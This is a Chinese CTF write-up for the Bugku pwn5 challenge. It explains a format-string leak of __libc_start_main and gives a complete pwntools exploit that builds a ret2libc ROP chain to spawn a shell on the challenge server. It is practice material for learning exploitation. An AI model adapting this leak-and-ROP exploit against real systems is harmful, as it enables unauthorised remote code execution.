bugku-pwn5(萌新版)

0x20 正文

用ida打开,右键(具体是由于插件还是7.0自带的,不是很清楚)查找格式化字符串,确实有找到。

bugku-pwn5(萌新版)_第1张图片

main函数分析

在main里发现printf,s长度是20h,但是只能读取8,则存在溢出,而printf的参数是一个地址,则表明是格式化字符串漏洞。

bugku-pwn5(萌新版)_第2张图片

碰到格式化字符串漏洞,我们就需要找找我们输入的参数或者是已存在的内容在程序里的偏移。

本题没有给libc,我们就需要leak libc,在这里我们选择leak_start_main

bugku-pwn5(萌新版)_第3张图片

从图中可以看到,我们在printf下断点后,在栈中发现了libc_start_main,这里它的偏移是0x28,原因是:我们要找的是一个东西距离我们输入的内容处的偏移,大家知道,64位程序的第一个参数是rdi,也就是说我们需要求这个main到rdi的距离,是0x30-8=0x28

则start_main是距离我们输入的参数位置处的第:0x28/8+6=11,因为一个内容八个字节,6个寄存器。

这里面libc_main在程序中的地址是:

通过./find __libc_start_main 740可以找到对应的libc,然后通过dump命令就可以找到sys以及binsh的偏移,然后与libc_base相加

bugku-pwn5(萌新版)_第4张图片

libc_base = read_addr - offset

0x30 exp

#-*- coding:utf-8 -*-
from pwn import *
context(os='linux', arch='amd64', log_level='debug') 
p = remote('114.116.54.89',10005)
p.recvuntil("?\n")
payload = "%11$p"
p.sendline(payload)
p.recvline()
libc_addr_main = p.recvuntil("%11$p")[:-6]
libc_base = int(libc_addr_main,16)-0x20830
sys = libc_base+ 0x45390
bin_sh = libc_base + 0x18cd57
pop_rdi = 0x400933

p.recvuntil("?\n")
payload1 = "鸽子"+'a'+"真香"
payload1 = payload1.ljust(0x20,'a')
payload1 += 'b'*8+p64(pop_rdi)+p64(bin_sh)+p64(sys)
p.sendline(payload1)
p.interactive()

exp就不需要解释了,主要是要弄懂原理,格式化字符串漏洞(目前,指我做的题目中,能理解)还是不难的。

OK,结束。

另外还学到几点:

mv str1 str2 将str1的名字改为str2
chmod 777 file 给权限

你可能感兴趣的:(CTF,Bugku)